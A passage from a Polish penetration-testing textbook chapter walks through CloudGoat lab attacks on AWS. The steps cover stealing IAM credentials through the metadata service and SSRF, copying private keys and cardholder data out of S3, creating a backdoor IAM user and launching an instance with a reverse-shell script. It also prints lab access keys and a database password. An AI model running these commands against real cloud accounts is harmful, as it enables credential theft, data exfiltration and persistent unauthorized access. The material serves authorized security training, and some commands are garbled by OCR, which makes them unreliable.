SQS	0	7	0	0
VPC	0	9	0	0

Rysunek 8.7. Przykładowe wyniki działania programu Scout

W kolejnych sekcjach raportu znajdziesz szczegółowe informacje o instancji AWS oraz wskazówki, na czym powinieneś się skupić, jak pokazano na rysunku 8.8.

Rysunek 8.8. Sekcja IAM w wynikach działania programu Scout

Prowler to kolejne narzędzie zaprojektowane specjalnie do skanowania chmurowych usług AWS, pozwalające przeprowadzić kontrolę pod kątem najlepszych praktyk bezpieczeństwa we wszystkich regionach i grupach AWS. Program ma wbudowane predefiniowane mapowanie różnych wzorców i standardów bezpieczeństwa, takich jak CIS, GDPR, HIPAA, PCI-DSS, ISO-27001, FFIEC i SOC2. Zaprojektowano go jako połączenie wielu skryptów powłoki Bash, które na poziomie bieżących uprawnień użytkownika wykonują szereg testów skonfigurowanego wcześniej profilu usług chmurowych. Program można zainstalować w systemie Kali Linux przez sklonowanie repozytorium. Aby to zrobić, powinieneś w oknie terminala wykonać następującą sekwencję poleceń:

sudo git clone https://github.com/toniblyx/prowler cd prowler

Najnowsza wersja programu Prowler nosi numer 2.5.0. Aby uruchomić program i rozpocząć skanowanie, powinieneś w oknie terminala wykonać polecenie sudo ./prowler -p <nazwa profilu>, jak pokazano na rysunku 8.9.

Rysunek 8.9. Uruchamianie programu Prowler w systemie Kali Linux

Na stronie *https://www.bluematador.com/learn/aws-cli-cheatsheet* znajdziesz zestawienie dostępnych poleceń konsolowych wraz z przykładami wywołania.

Aby sprawdzić listę instancji, które są dostępne dla naszego nowo utworzonego profilu RCE, powinieneś w oknie terminala wykonać następujące polecenie:

sudo aws ec2 describe-instances --profile <nazwa profilu>

Na ekranie powinny zostać wyświetlone szczegółowe informacje o instancji, jak pokazano na rysunku 8.10, wraz z danymi dotyczącymi publicznego i wewnętrznego adresu IP:

Rysunek 8.10. Szczegółowe informacje o instancji AWS

W szczegółowych informacjach o instancji (na rysunku 8.10 pokazano jedynie ich niewielki fragment) możemy zobaczyć, że publiczny adres IP jest skonfigurowany dla określonych grup zabezpieczeń. Jeżeli odszukasz na liście opcję RootDeviceType, przekonasz się, że ma ona wartość ebs, co oznacza, że adres IP nie jest publicznie dostępny.

W następnym kroku możesz sprawdzić, jakie systemy równoważenia obciążenia (ang. *load balancers*) są skonfigurowane dla tej usługi. Aby to zrobić, powinieneś w oknie terminala wykonać polecenie sudo aws elbv2 describe-load-balancers --profile RCE:

sudo aws elbv2 describe-load-balancers --profile <nazwa profilu>

Wyniki działania tego polecenia zawierają informacje o systemach równoważenia obciążenia EC2 wraz z nazwami DNS, tak jak pokazano na rysunku 8.11.

Teraz możemy już dotrzeć do systemu równoważenia obciążenia, jak pokazano na rysunku 8.12. Następnym krokiem będzie określenie, co jeszcze jest dostępne.

Następnie musimy odszukać uprawnienia naszego profilu w obrębie zasobnika Amazon S3. W tym celu należy uruchomić w oknie terminala polecenie sudo aws s3 ls - profile RCE. W naszym przykładzie profil ten ma dostęp tylko do katalogu *logs* w obrębie zasobnika S3, jak pokazano na rysunku 8.13.

314

Rozdział 8. • Wykorzystywanie podatności i luk w zabezpieczeniach chmury

Rysunek 8.11. Wyświetlanie szczegółowych informacji o systemach równoważenia obciażenia EC2

Rysunek 8.12. Publiczny adres DNS systemu równoważenia obciążenia

Rysunek 8.13. Dostęp do zasobnika S3 z poziomu profilu RCE

Aby wyświetlić zawartość katalogu *logs* w zasobniku S3, powinieneś w oknie terminala wykonać polecenie sudo aws s3 ls s3://<*zasobnik/ścieżka_pliku>* --profile --region us-east-1. Aby skopiować wybrany plik, możesz w oknie terminala wykonać polecenie pokazane poniżej. Przykład takiej operacji pokazano na rysunku 8.14.

sudo aws s3 cp s3://<zasobnik/ścieżka pliku>. --profile <nazwa profilu> --region us-east-1

Rysunek 8.14. Kopiowaniu pliku logu z zasobnika S3

Analizując plik dziennika, możemy stwierdzić, że jest tam zapisanych wiele żądań (wraz z ich kodem HTML), które otrzymały od serwera odpowiedź *HTTP 200 OK*, jak pokazano na rysunku 8.15.

Rysunek 8.15. Analizowanie logów oraz identyfikacja adresów URI

Kolejna próba dostępu do adresu URL przenosi nas na stronę formularza podatnego na zdalne wykonanie kodu, dzięki któremu możemy uruchomić polecenie na serwerze, tak jak to zostało pokazane na rysunku 8.16.

Udało nam się przeprowadzić zdalne wykonanie kodu w aplikacji internetowej przez wykorzystanie istniejących uprawnień do przeglądania instancji, konfiguracji systemów równoważenia obciążenia oraz analizy plików, które były dostępne w zasobniku Amazon S3. Wypróbujemy teraz inny profil (mcduck), aby zrozumieć, jak możemy przejąć instancję EC2 działającą w ramach usługi AWS. Aby wyświetlić szczegółowe informacje o instancji, powinieneś w oknie terminala wykonać polecenie sudo aws ec2 describe-instances --profile mcduck --region us-east-1, jak pokazano na rysunku 8.17.

W wynikach działania tego polecenia znajdziemy szczegółowe informacje o instancji wraz z jej identyfikatorem imageID i lokalizacją. Oprócz tego możemy tam znaleźć publiczny adres IP i nazwę DNS instancji wraz ze wszystkimi szczegółami dotyczącymi sieci i podsieci, jak pokazano na rysunku 8.18.

316

Rysunek 8.16. Pomyślna próba zdalnego wykonania polecenia na serwerze

Rysunek 8.17. Identyfikacja instancji w profilu mcduck

Rysunek 8.18. Identyfikacja publicznego adresu IP oraz nazwy DNS instancji

Mając publiczny adres IP instancji, możesz teraz sprawdzić wiele kluczowych informacji, które mogą być dostępne w obrębie zasobników S3. Aby sprawdzić, jakie zasobniki S3 są dostępne, przejdź do okna terminala i wykonaj polecenie sudo aws s3 ls --profile --region us-east-1. Aby skopiować folder, wykonaj polecenie sudo aws s3 cp s3://zasobnik/ ścieżka/ ./ keys --profile mcduck --region us-east-1, jak pokazano na rysunku 8.19.

sudo aws s3 cp s3://<zasobnik>/<folder>/ .< folder wyjściowy> --profile <nazwa profilu>

Rysunek 8.19. Dostęp do zasobnika S3 z poziomu profilu mcduck

Nasz przykładowy profil ma dostęp do magazynu kluczy, skąd udało nam się skopiować klucz publiczny i prywatny do naszego lokalnego systemu Kali Linux. Następnym, dosyć oczywistym krokiem jest zmiana uprawnień pliku klucza prywatnego poleceniem sudo chmod 400 cloudgoat, a następnie zalogowanie się w bezpiecznej sesji do instancji EC2 bezpośrednio przez uruchomienie w oknie terminala polecenia ssh -i cloudgoat ubuntu@publicznyAdresIP, jak pokazano na rysunku 8.20.

```
sudo chmod 400 privatekey
sudo ssh -i privatekey Ubuntu@publiczna nazwa DNS instancji EC2
```


Rysunek 8.20. Logowanie do instancji AWS z wykorzystaniem pozyskanego klucza prywatnego

Teraz mamy już bezpośredni, wewnętrzny dostęp do instancji Ubuntu EC2, zatem możemy spróbować połączyć się z usługą metadanych poprzez bezpośredni dostęp z konsoli systemu zdalnego do adresu *http://169.254.169.254/latest/user-data*, tak jak to zostało pokazane na rysunku 8.21.

```
curl http://169.254.169.254/latest/user-data
```


Rysunek 8.21. Dostęp do usługi metadanych wewnątrz instancji EC2

Próba zalogowania się do bazy danych postgresql za pośrednictwem konta użytkownika i hasła w celu pozyskania poufnych haseł może wyglądać tak, jak pokazano na rysunku 8.22.

```
psql postgresql://cgadmin:Purplepwny2029@<instancja>:5432/cloudgoat
\dt
select * from sensitive information
```


Rysunek 8.22. Pomyślne połączenie z bazą danych i dostęp do zapisanych w niej haseł

Możemy teraz sprawdzić, jakie zasobniki S3 są dostępne w tej instancji EC2. Zanim uzyskasz dostęp do zasobników, upewnij się, że w Twoim systemie Ubuntu zainstalowany jest klient

awscli. Aby to zrobić, w oknie terminala uruchom polecenie sudo apt-get install awscli, a następnie wyświetl listę zasobników przez wykonanie poniższej sekwencji poleceń. Przykład takiej sekwencji jest pokazany na rysunku 8.23.

```
sudo aws s3 ls
sudo aws s3 ls s3://cg-secret-s3-bucket-cgid<identyfikator> --recursive
aws s3 cp s3://cg-secret-s3-bucket-cgidzay5e3vg5r/db.txt .
cat db.txt
```


Rysunek 8.23. Pozyskiwanie poufnych informacji o bazie danych z zasobnika S3

Ostatnim ważnym krokiem jest usunięcie używanej konfiguracji. Aby to zrobić, wróć do konsoli obrazu CloudGoat Docker i uruchom polecenie ./cloudgoat.py destroy all. Na ekranie powinno się pojawić potwierdzenie, jak pokazano na rysunku 8.24.

```
Destroy complete! Resources: 45 destroyed.

[cloudgoat] terraform destroy completed with no error code.

Successfully destroyed rce_web_app.

Scenario instance files have been moved to /usr/src/cloudgoat/trash/rce_web_app_

cgid29j668w769

Destruction complete.

1 scenarios successfully destroyed

0 destroys failed

0 skipped
```

Rysunek 8.24. Usunięcie konfiguracji aplikacji rce_web_app z poziomu pakietu CloudGoat

W tej sekcji zbadaliśmy błędną konfigurację zabezpieczeń i podatne na ataki aplikacje internetowe w ramach usługi AWS. W następnym podrozdziale poznasz różne metodyki działania, których możesz użyć do wykorzystywania podatności i luk w zabezpieczeniach zasobników S3.

Testowanie błędnej konfiguracji zasobników S3

Zasobniki S3 są zwykle używane przez organizacje do przechowywania dokumentów, kodu, przesyłania plików itd. Takie zasobniki mogą być publiczne lub prywatne. Kiedy zasobnik S3 jest publiczny, wszyscy użytkownicy mogą wymieniać zawartość, a kiedy prywatny, dostęp do jego zawartości ma tylko wybrana grupa użytkowników. Co ciekawe, informacje o wyciekach poufnych informacji przechowywanych w zasobnikach S3 pojawiają się w doniesieniach medialnych dosyć często i zazwyczaj są powiązane z nieodpowiedzialnymi deweloperami, niefrasobliwie przechowującymi poufne czy wręcz krytyczne informacje w zasobnikach S3 oznaczonych jako publiczne. W tej sekcji poznasz sposoby identyfikacji zasobników S3 i metody wykorzystywania błędów w ich konfiguracji do uzyskania dostępu do wewnętrznej infrastruktury AWS.

Aby to przećwiczyć, przy użyciu pakietu CloudGoat skonfigurujemy podatną na ataki instancję S3. Aby to zrobić, wykonaj w konsoli obrazu CloudGoat Docker następujące polecenie:

./cloudgoat create cloud_breach_s3

Po zakończeniu konfiguracji na ekranie powinno się pojawić potwierdzenie z aplikacji CloudGoat z identyfikatorem konta AWS i docelowym adresem IP, jak pokazano na rysunku 8.25.

Rysunek 8.25. Pomyślne utworzenie środowiska AWS cloud_breach_s3 za pomocą aplikacji CloudGoat

Po zidentyfikowaniu usług działających na zewnętrznym adresie IP napastnik może zdecydować się na przeprowadzenie skanowania portów na tym adresie. W naszym przypadku port 80 jest otwarty i dostępny: Użyj programu curl do sprawdzenia usługi. Aby to zrobić, w oknie terminala wykonaj polecenie curl http://
 Adres IP>. Otrzymasz komunikat o błędzie dotyczącym usługi metadanych EC2, jak pokazano na rysunku 8.26.

Rysunek 8.26. Dostęp do publicznego adresu IP usługi AWS

2. Dostawcy chmury z pewnością mają możliwość zarządzania poświadczeniami dla zasobów w dowolnych aplikacjach chmurowych klientów. Jeżeli jest to zrobione poprawnie, można uniknąć przechowywania poświadczeń w postaci zwykłego tekstu lub w repozytorium kodu źródłowego. W AWS usługa metadanych instancji (IMDS — ang. *instance metadata service*) dostarcza informacji o instancjach, które można wykorzystać do ich konfiguracji lub zarządzania nimi. Usługa metadanych AWS używa adresu 169.254.169.254. Aby pobrać zawartość z docelowego IP, będziemy w poleceniu cur1 dodawać nagłówek hosta: cur1 http://<adres1P> -H 'Host:169.254.169.254', co powinno zwrócić zawartość głównego katalogu strony internetowej, jak pokazano na rysunku 8.27. Możemy również użyć pakietu Burp Suite do przechwycenia ruchu i dodania nagłówka hosta do żądania oraz przeglądania folderów i katalogów.

└_\$ curl http://34.237.223.72	-H 'Host:169.254.169.254'
1.0	
2007-01-19	
2007-03-01	
2007-08-29	
2007-10-10	
2007-12-15	
2008-02-01	
2008-09-01	
2009-04-04	
2011-01-01	
2011-05-01	
2012-01-12	
2014-02-25	

3. Po przejrzeniu zawartości katalogów wysyłamy żądanie do pliku /latest/meta-data/ iam/security-credentials/cg-bank-WAF-Role-cg<ID>, które zwraca AccessKeyID, secretAccessKey i token sesji, jak pokazano na rysunku 8.28. Token sesji wskazuje, że dane uwierzytelniające są oparte na czasie. Jeżeli jednak trafisz na usługę IMDS v2, do pobrania danych uwierzytelniających będzie wtedy niezbędne dostarczenie dodatkowego tokena.

Rysunek 8.28. Pomyślne wygenerowanie poświadczeń logowania za pomocą usługi metadanych

 Następnym krokiem jest utworzenie w systemie Kali Linux profilu AWS na podstawie powyższych informacji, jak pokazano na rysunku 8.29.

```
sudo aws configure --profile S3exploit
```

```
└─$ <u>sudo</u> aws configure --profile S3exploit
[sudo] password for kali:
AWS Access Key ID [None]: ASIAXFHQBHH5V425G46C
AWS Secret Access Key [None]: qEBkhp0/9DVaoMSi8a54hiGuD+I+cmTg7bYkIfgx
Default region name [None]:
Default output format [None]:
```


5. Po skonfigurowaniu profilu dodamy token sesji. W tym celu wprowadzimy zmianę w pliku poświadczeń AWS. Domyślna lokalizacja tego pliku to katalog ~/.aws/credentials. W naszym przypadku uruchomiliśmy wszystkie polecenia aws z użyciem sudo, stąd wszystkie poświadczenia i inne szczegóły będą przechowywane w katalogu domowym użytkownika root. Teraz za pomocą naszego ulubionego edytora tekstu otworzymy do edycji plik /root/. aws/credentials:

```
sudo nano /root/.aws/credentials
```

Dodamy do niego token aws_session_token, pozyskany w kroku 3., jak pokazano na rysunku 8.30.

Rysunek 8.30. Dodawanie tokena awd_session_token do pliku uwierzytelnień

6. Teraz kolejnym krokiem jest sprawdzenie, czy będziemy w stanie uzyskać dostęp do zasobników S3. Możemy to zrobić w oknie terminala następującym poleceniem:

```
sudo aws s3 list --profile S3exploit
```

7. Z wykorzystaniem wyników poprzedniego polecenia możemy teraz pobrać zawartość zasobnika S3 na hosta lokalnego poleceniem pokazanym na rysunku 8.31:

sudo aws s3 sync s3://<nazwa zasobnika> ./newfolder -profile S3exploit

<pre>(kali@kali)-[~/cloud] sudo aws s3 sync s3://cg-cardholder-data-bucket-cgidx9opib8cis ./newfolderprofile S3exploit</pre>
download: s3://cg-cardholder-data-bucket-cgidx9opib8cis/cardholder_data_secondary.csv to newfolder/car
download: s3://cg-cardholder-data-bucket-cgidx9opib8cis/cardholder_data_primary.csv to newfolder/cardh older data primary.csv
<pre>download: s3://cg-cardholder-data-bucket-cgidx9opib8cis/cardholders_corporate.csv to newfolder/cardhol ders corporate.csv</pre>
download: s3://cg-cardholder-data-bucket-cgidx9opib8cis/goat.png to newfolder/goat.png

Rysunek 8.31. Kopiowanie zawartości zasobnika S3 do systemu lokalnego

8. Gotowe! W ten sposób wykorzystaliśmy błędnie skonfigurowany zasobnik S3 i dokonaliśmy eksfiltracji danych z chmury organizacji docelowej. Teraz powinieneś być w stanie zobaczyć pozyskane dane posiadacza karty wraz ze wszystkimi wrażliwymi informacjami osobowymi (ang. *PII — personally identifiable information*), jak pokazano na rysunku 8.32.

(kali@kali)-[~/cloud]
tail <u>newfolder/cardholder_data_primary.csv</u>
-40-8379,490,Liesa,Andreix,landreixdl@sphinn.com,Female,185.184.101.99,4 Scott Way,El Paso,Texas,88
-30-8683,491,Happy,Olliffe,holliffedm@dion.ne.jp,Female,214.160.188.92,40 Dexter Alley,Providence,R le Island,2912
-88-3722,492,Arline,Hauxwell,ahauxwelldn@dropbox.com,Female,142.13.7.204,7 Clove Crossing,Canton,Oh 44710
-69-5666,493,Timi,VanBrugh,tvanbrughdo@exblog.jp,Female,3.208.92.6,257 Petterle Plaza,Cincinnati,Oh 45264
-65-7383,494,Carola,de Grey,cdegreydp@about.com,Female,60.2.54.126,30259 Burning Wood Circle,Sandy, h.84093
-09-2517,495,Frasquito,Caldicot,fcaldicotdq@oakley.com,Male,97.110.197.149,8 Roxbury Lane,Miami,Flo a.33164
-/3-0960,496,Noble,Alenichicov,nalenichicovdr@wordpress.org,Male,27.137.99.103,5762 Anhalt Parkway, iton,Ohio,44705
-38-1809,497,Lela,Bilson,lbilsonds@drupal.org,Female,147.74.241.59,59 Victoria Center,Houston,Texas 065
-06-9685,498,Niko,Dowers,ndowersdt@ifeng.com,Male,186.46.138.15,48 Mosinee Trail,San Diego,Californ 92186
-52-9058,499,Vilhelmina,Barkess,vbarkessdu@barnesandnoble.com,Female,87.30.54.27,10 Lindbergh Avenu brlando,Florida,32835

Rysunek 8.32. Dane skopiowane ze skompromitowanego zasobnika S3 zawierają szereg wrażliwych informacji

9. Ostatnim krokiem naszego ćwiczenia jest powrót do obrazu CloudGoat Docker i zniszczenie utworzonej instancji. Robimy to po to, aby uniknąć przypadkowego narażenia się na kontakt z prawdziwymi napastnikami oraz uniknąć konieczności wnoszenia opłat rozliczeniowych za usługi AWS. Aby usunąć instancję, przejdź do konsoli obrazu Dockera i wykonaj następujące polecenie:

./cloudgoat destroy cloud_breach_s3

Zrozumienie błędów w konfiguracji S3 często może pozwolić napastnikowi na uzyskanie dostępu do takiego zasobnika i doprowadzić do eksfiltracji danych. A co w przypadku, gdy dany dzierżawca popełni błędy w konfiguracji uprawnień użytkowników? O tym dowiesz się w kolejnym podrozdziale.

Wykorzystanie błędów w prawach dostępu

Poniżej przedstawiono krótkie zestawienie najczęściej występujących podatności i luk w zabezpieczeniach usług chmurowych AWS:

- Nadmierna liczba udostępnionych podsieci publicznych większość organizacji stosuje usługę VPC (ang. Virtual Private Cloud), która jest wbudowana w AWS. Niestety wiele z nich idzie po linii najmniejszego oporu i praktycznie nie zmienia jej ustawień domyślnych. Jednak w praktyce takie podejście okazało się bardzo niebezpieczne (dobrymi przykładami mogą być liczne incydenty, w których wykorzystano oparte na botnetach oprogramowanie ransomware). Podsieci publiczne, jak sama nazwa wskazuje, są dostępne dla każdego użytkownika w sieci internet i potencjalnie mogą narażać na ataki coś, co nie powinno być normalnie dostępne.
- Problemy z zarządzaniem tożsamościami i dostępem (IAM ang. Identity and Access Management) w organizacjach, które nie stosują dwu- lub wieloskładnikowego uwierzytelniania dla kont o wysokich uprawnieniach, wykorzystują jedno konto do wykonywania prawie wszystkich zadań bądź zapewniąją ten sam wysoki poziom dostępu do wszystkich nowych kont, a tym samym narażają się na duże ryzyko. Zdarzały się przypadki, że konta pracowników były atakowane z użyciem wyrafinowanych metod socjotechnicznych (na przykład poprzez znakomicie przygotowane kampanie phishingowe), których rezultatami były masowe incydenty ransomware, kosztujące organizację niemal tyle samo, ile kosztowałaby odbudowa całej firmy.
- Błędnie skonfigurowane zasobniki S3 w poprzedniej sekcji badaliśmy błędną konfigurację uprawnień zasobników S3. Jest to jeden z najczęstszych błędów popełnianych podczas testów penetracyjnych usług w chmurze. Chociaż domyślnie zasobniki S3 są prywatne, zdarza się, że zespoły operacyjno-rozwojowe IT lub strony trzecie zarządzające tego typu infrastrukturą, mają tendencję do ich upubliczniania, co otwiera je na nieuniknione zagrożenia ze strony hakerów, wykorzystujących źle skonfigurowane zasobniki S3 do pozyskiwania poufnych informacji, takich jak klucze prywatne czy pliki zawierające wrażliwe dane, w tym kopie zapasowe i pliki dzienników.

- Serwery źródłowe większość dostawców usług chmurowych wykorzystuje sieci CDN (ang. *Content Delivery Network*) do dystrybucji dużych wolumenów danych do klientów. Niestety bardzo często się zdarza, że serwery po stronie sieci CDN są niepoprawnie skonfigurowane, co powoduje wycieki informacji o pochodzeniu serwerów, co z kolei może prowadzić do poważnych naruszeń bezpieczeństwa. Podczas testów penetracyjnych nierzadko udaje się znaleźć serwery źródłowe takich sieci i bezpośrednio wykorzystywać ich podatności i luki w zabezpieczeniach, a nawet przejmować bazy danych za pomocą ataków typu brute-force.
- Ataki typu SSRF (ang. Server Side Request Forgery) są to ataki, które pozwalają wykorzystać legalną funkcjonalność AWS oraz zdobyć dostęp do informacji metadanych w celu nieuprawnionego pozyskania ważnych poświadczeń użytkownika dla roli IAM i przejęcia w ten sposób kontroli nad mechanizmami zarządzania tożsamościami i dostępami. Więcej szczegółowych informacji na temat takich ataków poznasz już za chwilę.
- Rekordy DNS w większości przypadków napastnikowi już podczas wstępnego rekonesansu udaje się łatwo pozyskać szczegółowe informacje na temat zasobników S3 w subdomenie organizacji. Problem się pojawia, gdy zespół operacyjny zapomina zaktualizować swoje rekordy DNS w odpowiednim czasie lub nawet pozostawia nienadzorowane zasobniki S3 dostępne dla każdego w publicznej sieci internet.

Mając na uwadze wszystkie powyższe informacje, użyjemy teraz pakietu CloudGoat do utworzenia wrażliwego wdrożenia AWS, na którym w "złowrogich" celach przeprowadzimy atak SSRF z wykorzystaniem legalnej funkcjonalności AWS. Aby przeprowadzić taki atak, powinieneś wykonać polecenia omówione poniżej:

 Aby utworzyć podatną instancję AWS, przejdź do konsoli obrazu CloudGoat Docker i w oknie terminala uruchom polecenie ./cloudgoat.py create ec2_ssrf --profile masteringkali. Jego wykonanie powinno skonfigurować odpowiednią infrastrukturę i dostarczyć potwierdzenie pokazane na rysunku 8.33, które zawiera identyfikator dostępu i tajny klucz.

```
Apply complete! Resources: 33 added, 0 changed, 0 destroyed.

Outputs:

cloudgoat_output_aws_account_id = 492277152251

cloudgoat_output_solus_access_key_id = AKIAXFHQBHH52PQJSRT5

cloudgoat_output_solus_secret_key = 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

[cloudgoat] terraform apply completed with no error code.

[cloudgoat] terraform output completed with no error code.

[cloudgoat] Output file written to:

/usr/src/cloudgoat/ec2_ssrf_cgidayjqr4452k/start.txt
```


2. W systemie Kali Linux utwórz odpowiedni profil AWS przez uruchomienie w oknie terminala polecenia sudo aws configure --profile ssrf, jak pokazano na rysunku 8.34, a następnie wprowadź identyfikator oraz tajny klucz dostępu.

Rysunek 8.34. Konfigurowanie profilu AWS w systemie Kali Linux

3. Uprawnienia klucza dostępu możemy sprawdzić programem enumerate-iam, który możesz bezpośrednio sklonować z serwisu Git przez uruchomienie polecenia sudo git clone https://github.com/andresriancho/enumerate-iam, a następnie cd enumerate-iam. Wszystkie dodatkowe zależności możesz zainstalować poleceniem sudo pip3 install -r requirements.txt. Po zakończeniu możesz uruchomić narzędzie enumerate poleceniem sudo python3 enumerate-iam.py --access-key xx --secret-key xx, jak pokazano na rysunku 8.35, co pozwoli Ci uzyskać szczegółowe informacje, takie jak powiązany użytkownik, identyfikator konta i lista innych usług.

(kali@kali)-[~/cloud/enumerate-iam]
2021-08-15 10:06:53,442 - 62571 - [INFO] Starting permission enumeration for access-key-id "AKIAXFHQBHH54AXQH6KX"
2021-08-15 10:06:54,439 - 62571 - [INFO] Account ARN : arn:aws:iam::492277152251:user/solus-cgid8ymltd16gu
2021-08-15 10:06:54,439 - 62571 - [INFO] Account Id : 492277152251
2021-08-15 10:06:54,440 - 62571 - [INFO] Account Path: user/solus-cgid8ymltd16gu
2021-08-15 10:06:54,533 - 62571 - [INFO] Attempting common-service describe / list brute force.
2021-08-15 10:06:57,220 - 62571 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action
2021-08-15 10:07:01,321 - 62571 - [INFO] sts.get_session_token() worked!
2021-08-15 10:07:01,413 - 62571 - [INFO] sts.get_caller_identity() worked!
2021-08-15 10:07:02,215 - 62571 - [INFO] dynamodb.describe_endpoints() worked!

Rysunek 8.35. Sprawdzanie uprawnień klucza dostępu za pomocą programu enumerate-iam

4. Zbadajmy funkcje lambda, do których może mieć dostęp ten identyfikator. Aby to zrobić, powinieneś w oknie terminala uruchomić polecenie sudo aws lambda list-functions --profile ssrf --region us-east-1, co powinno dostarczyć listę dostępnych funkcji lambda, jak pokazano na rysunku 8.36.

Podczas uruchamiania powyższego polecenia możesz otrzymać następujący komunikat o błędzie: An error occurred (InvalidSignatureException) when calling the ListFunctions operation: Signature expired (podczas wywoływania operacji ListFunctions wystąpił błąd (InvalidSignatureException): ważność podpisu wygasła). Zazwyczaj jest to spowodowane problemami z ustawieniami zegara systemowego. Aby naprawić ustawienia i rozwiązać problem, powinieneś w oknie terminala wykonać polecenie sudo apt install ntpupdate, a następnie sudo ntpdate pool.ntp.org.

Rysunek 8.36. Lista funkcji AWS Lambda dostępnych dla naszego profilu

- 5. Funkcja lambda eksponuje klucz dostępu i klucz tajny. Aby uzyskać więcej informacji o konkretnej funkcji, powinieneś w oknie terminala uruchomić polecenie sudo aws lambda get-function -function-name cglambda-cg<losoweID> --profile ssrf -region us-east-1, co spowoduje wyświetlenie szczegółowych informacji o tej funkcji, tak jak to zostało pokazane na rysunku 8.37.
- 6. Skonfigurujemy teraz nasz system Kali Linux za pomocą kluczy, które pozyskaliśmy z funkcji lambda, i skorzystamy z profilu lambda-solus, jak pokazano na rysunku 8.38.
- 7. Sprawdzimy teraz instancje dostępne dla tego profilu. W tym celu w oknie terminala uruchomimy polecenie sudo aws ec2 describe-instances -region useast-1 -profile lambda-solus. Powinno to wyświetlić szczegóły instancji wraz z publicznym adresem IP, jak pokazano na rysunku 8.39.
- 8. Gdy mamy już publiczny adres IP, możemy uzyskać dostęp do instancji na porcie 80. W oknie przeglądarki powinieneś zobaczyć komunikat o błędzie pokazany na rysunku 8.40.
- 9. Teraz możemy przeskanować pozyskany adres IP za pomocą dowolnego skanera, takiego jak Nikto czy OWASP ZAP. Gdy będziemy w stanie "oszukać" aplikację internetową tak, aby w naszym imieniu wysyłała żądania HTTP do określonego adresu URL, będzie to znaczyło, że aplikacja jest podatna na ataki typu SSRF. W naszym przypadku dodanie ciągu znaków /?url=<adresuldski usetwork w cięktowany przez napastnika> do adresu IP pozwala nam kontrolować aplikację internetową,

Rozdział 8. • Wykorzystywanie podatności i luk w zabezpieczeniach chmury

Rysunek 8.37. Szczegółowe informacje o wybranej funkcji lambda

(kali@kali)-[~/cloud]
\$ sudo aws configure --profile lambda-solus
AWS Access Key ID [None]: AKIAXFHQBHH5SCTYE375
AWS Secret Access Key [None]: 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
Default region name [None]:
Default output format [None]:

Rysunek 8.38. Konfiguracja profilu AWS dla nowego klucza dostępu pozyskanego z funkcji lambda

aby wykonywała żądania HTTP w naszym imieniu. Aby uzyskać poświadczenia logowania, użyjemy wywołania funkcji interfejsu API metadanych przez dodanie adresu URL http://168.254.169.254/latest/meta-data/iam/security/security--credentials/<*nazwa* pliku> do parametru pokazanego na rysunku 8.41, co powinno spowodować pobranie tymczasowych poświadczeń, które będziemy mogli wykorzystać podczas przeprowadzania testów penetracyjnych.

Rysunek 8.39. Wyświetlanie szczegółów instancji dostępnych dla profilu lambda-solus

Rysunek 8.40. Próba dostępu do serwera na publicznym adresie IP

10. Skonfiguruj profil AWS w systemie Kali Linux poleceniem sudo aws configure - profile ec2-temp, jak pokazano na rysunku 8.42, upewnij się, że aws_session_token jest dodany do pliku aws credentials, a następnie wyświetl listę zasobników S3 poleceniem sudo aws s3 ls -profile ec2-temp. W wynikach działania tego polecenia znajdziesz zasobnik S3 o nazwie cgsecret- s3-bucket-<losoweID>.

Rysunek 8.41. Atak SSRF na aplikację internetową w celu pozyskania tymczasowych danych uwierzytelniających

Rysunek 8.42. Wyświetlanie listy zasobników S3 z wykorzystaniem tymczasowych poświadczeń logowania

11. Pobierzemy teraz całą zawartość tego zasobnika poleceniem sudo aws s3 sync s3://<nazwa zasobnika><katalog><plik> lokalizacja -profile, jak pokazano na rysunku 8.43. Świetnie! Otrzymaliśmy w ten sposób klucz dostępu i klucz tajny użytkownika o wysokich uprawnieniach. Taka sytuacja jest odpowiednikiem uzyskania dostępu do domeny na poziomie administratora podczas wewnętrznych testów penetracyjnych.

12. Po skonfigurowaniu w systemie Kali Linux AWS z profilem ec2-admin będziesz mógł teraz wykonywać dowolne działania w środowisku EC2. Na przykład możesz teraz wyświetlić w oknie terminala listę wszystkich użytkowników poleceniem sudo aws iam list-users -profile ec2-admin, jak pokazano na rysunku 8.44.

Rysunek 8.44. Wyświetlanie listy użytkowników z poziomu profilu admina

 Aby wyświetlić polityki przypisane do poszczególnych użytkowników, powinieneś w oknie terminala uruchomić polecenie sudo iam list-attacheduser- policies -username <nazwa użytkownika> --profile ec2-admin, jak pokazano na rysunku 8.45.

Pamiętaj, że kolejne dwa kroki opisane poniżej służą jedynie do zademonstrowania, jak z poziomu wiersza poleceń konsoli utworzyć klucz dostępu aws iam i konto użytkownika. Musisz mieć świadomość, że jeżeli te kroki zostaną wykonane w środowisku AWS z wdrożonym CloudGoat, to zniszczenie instancji nie będzie możliwe, ponieważ CloudGoat może usunąć tylko te spośród swoich instancji, które zostały utworzone za pomocą skryptu.

14. Teraz powinieneś być już w stanie zmienić tajny klucz każdego użytkownika. Aby to zrobić, w oknie terminala wykonaj polecenie sudo iam createaccess- key -username <*nazwa użytkownika>* --region us-east-1 -profile ec2-admin, tak jak to zostało pokazane na rysunku 8.46.

15. Oprócz zmiany kluczy istniejących użytkowników możesz dodatkowo utworzyć nowe konto użytkownika, które będzie pełniło dla Ciebie funkcję tylnego wejścia (ang. *backdoor*), zapewniającego dostęp do tego środowiska. Aby to zrobić, powinieneś w oknie terminala wykonać polecenie sudo aws iam create-user -username backdoor -profile ec2-admin. Na ekranie zostaną wyświetlone informacje o nowo utworzonym koncie, łącznie z kluczem dostępu i kluczem tajnym, jak pokazano na rysunku 8.47.

16. To już wszystko w tym ćwiczeniu. Możesz teraz powrócić do obrazu CloudGoat Docker i zniszczyć tę konfigurację AWS przez uruchomienie w oknie terminala polecenia ./cloudgoat.py destroy all.

W tabeli 8.3 zamieszczono opis kilku wybranych poleceń, które możesz wykorzystać podczas przeprowadzania testów penetracyjnych chmury AWS.

Opis	Przykład polecenia
Tworzy nową wersję polityki	aws iam create-policy-version -policy-arn <i>nazwa_polityki</i> - policy-document file:// <i><ścieżka</i> >/policy.json -set-as-default
Oznacza wybraną wersję polityki jako domyślną	aws iam set-default-policy-version -policy-arn <i>nazwa_polityki</i> -version-id v2
Tworzy instancję ES2 z użyciem istniejącego profilu	aws ec2 run-instances -image-id ami-a4dc46db -instance-type t2.micro -iam-instance-profile Name=iam-full-access-ip -key-name my_ssh_key -security-group-ids sg-123456
	aws ec2 run-instances -image-id ami-a4dc46db -instance-type t2.micro -iam-instance-profile Name=iam-full-access-ip -user-data file://script/with/reverse/shell.sh
